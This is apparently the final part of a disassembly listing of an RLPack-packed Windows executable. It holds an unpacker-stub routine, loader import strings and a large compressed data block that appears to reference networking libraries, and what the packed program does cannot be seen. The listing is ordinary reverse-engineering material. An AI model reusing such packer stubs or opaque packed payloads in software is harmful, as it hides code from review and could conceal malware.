loc_4CE78C:				; CODE XREF: sub_4CE78B+Dj
		call	sub_4CE77F
		adc	ecx, ecx
		call	sub_4CE77F
		jb	short loc_4CE78C
		retn
sub_4CE78B	endp

; ---------------------------------------------------------------------------


loc_4CE79B:				; CODE XREF: .RLPack:004CE74Cj
		sub	edi, [esp+28h]
		mov	[esp+1Ch], edi
		popa
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
		dd 0CE7CD00h, 0CE7DA00h, 5 dup(0)
		dd 72656B00h, 336C656Eh, 6C642E32h, 5D8006Ch, 0A5FD77E8h
		dd 980A77E7h, 9E3477E7h, 169A77E7h, 77E6h, 0
aLoadlibrarya	db 'LoadLibraryA',0
		align 2
aGetprocaddress	db 'GetProcAddress',0
		align 2
aVirtualalloc	db 'VirtualAlloc',0
		align 10h
aVirtualfree	db 'VirtualFree',0
		dd 72695600h, 6C617574h, 746F7250h, 746365h, 100000h, 800h
		dd 2000h, 2 dup(40000000h), 2 dup(0)
		dd 100000h, 18E0000h, 1A00h, 0E6000000h, 32067B77h, 32000000h
		dd 0BE00000h, 100000h, 0CB7E800h, 1A00000h, 0CBD8200h
		dd 1C00000h, 0CE3F300h,	0BC00000h, 0
		dd 530E5700h, 63335F32h, 8F6C642Eh, 52455601h, 544F49F4h
		dd 834B0C4Eh, 304CF5CFh, 0A1880119h, 0C306C1E7h, 5A398083h
		dd 636F0341h, 0BF74656Bh, 0EF1F0706h, 22730991h, 20A4415h
		dd 1120D89h, 9480B24h, 10220491h, 89170344h, 24121213h
		dd 78195C97h, 9C8747B1h, 576C6946h, 73727356h, 496E6FB8h
		dd 53EA66E4h, 41FE7AFEh, 286D18A5h, 75511B8Ch, 61F07908h
		dd 47D96C77h, 80A2A002h, 8506D11h, 616DDC40h, 0BC636E3Eh
		dd 37753B43h, 53061E74h, 3C457F80h, 78E76976h, 0BC22ED6Dh
		dd 62E6FB64h, 406B6C6Ch, 1A706F6Dh, 22745326h, 57676E15h
		dd 9041A20Fh, 514F6436h, 0AEC37B66h, 687328CCh,	7142780Ah
		dd 0C88AA66h, 6E64521Eh, 3D9ACE48h, 4136A128h, 0F9707954h
		dd 600F5A57h, 42734992h, 0BA646E61h, 2A50DA7Eh,	0EF520D11h
		dd 991A0868h, 686E5561h, 45324457h, 70B18778h, 0CDB4E0FAh
		dd 3647B522h, 73295084h, 8D21757h, 523FB79Fh, 183AE42Eh
		dd 761B9341h, 4D454F80h, 9A15043h, 0A9074941h, 3F38720Ch
		dd 614D094Ch, 852B1470h, 0FE9AB70Dh, 4337DBD4h,	6F54D0A0h
		dd 8ADF754Dh, 9279424Dh, 0B361DA05h, 4CFE6F50h,	0CE16DB82h
		dd 541F7685h, 0D5E1348Ch, 0EA73F16Ch, 576D474Eh, 6F4C38A0h
		dd 249CF554h, 9D63DF73h, 0A0B7E84Eh, 0CA70692Ah, 3ECA4324h
		dd 10481D52h, 4F0D4DC9h, 470F169Ah, 4C791384h, 281B7348h
		dd 4CE7EA72h, 6867542Ch, 0E20A640Fh, 0B33AA34h,	760A364Ch
		dd 63E4CBECh, 0A2833698h, 40F826ADh, 158FA184h,	26549F33h
		dd 6A416B20h, 3B6D3AB3h, 5E7AD538h, 0B641283Ch,	0E1A270F4h
		dd 65442610h, 7CB58CA3h, 0BAE94C5Eh, 625179F0h,	0C9921CFh
		dd 0A0A150A5h, 0C664E563h, 1A738F87h, 0FF3372C7h, 0B8464026h
		dd 39BB284Dh, 181F6735h, 56701CA5h, 774D697Fh, 0E4DCA84h
		dd 0DC119C7Ah, 52B26631h, 1EBA1008h, 2DBA746Dh,	62B090Ch
		dd 4ED4B77Bh, 0E3703412h, 4190178Eh, 23637BDEh,	66647562h
		dd 3C3B4727h, 322B5854h, 0A968A850h, 4C98BB0Dh,	708452AEh
		dd 0D7A49D79h, 74262DAh, 0D6DCC05h, 0A6C079D4h,	552B3F56h
		dd 0E664E034h, 10443A4Dh, 530D0F0Eh, 0F5207379h, 59974544h
		dd 62416F3Dh, 0CF93B4D1h, 12266471h, 6FF08C79h,	0E0866892h
		dd 0DE8EE3A4h, 848C87AEh, 58704F34h, 3E631866h,	0D17D7543h
		dd 49892A22h, 61571083h, 53FF7065h, 4F5EFD58h, 0EF6A6A62h
		dd 514DE52Ch, 6C28CFEAh, 0A163FE90h, 95EA69EAh,	20A3243Fh
		dd 726D6D97h, 43620B59h, 0A1BB7C93h, 7DA42023h,	700348E4h
		dd 448E6C41h, 99640A8Ah, 747F52E0h, 7764E490h, 1B8A644Ah
		dd 22465A24h, 45EE8A3Eh, 29142B87h, 924A4AD3h, 704B0A72h
		dd 4B944862h, 0A419B30Ah, 6970B562h, 0F216AC8Bh, 887B827Eh
		dd 6F8AD622h, 0EEA30C79h, 68574C38h, 9522BAADh,	0AB870C8Eh
		dd 0C29521Dh, 9A69BA2Ch, 7CBBC4A3h, 0B861F352h,	29D13E62h
		dd 0B970AD5Dh, 69A024DBh, 0D8324C29h, 474A1F6Ch, 9D233079h
		dd 70707910h, 0C0h
		db 2 dup(0)
_RLPack		ends

; Section 3. (virtual address 000CF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000CEC00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4CF000h
		align 2000h
_idata2		ends


		end start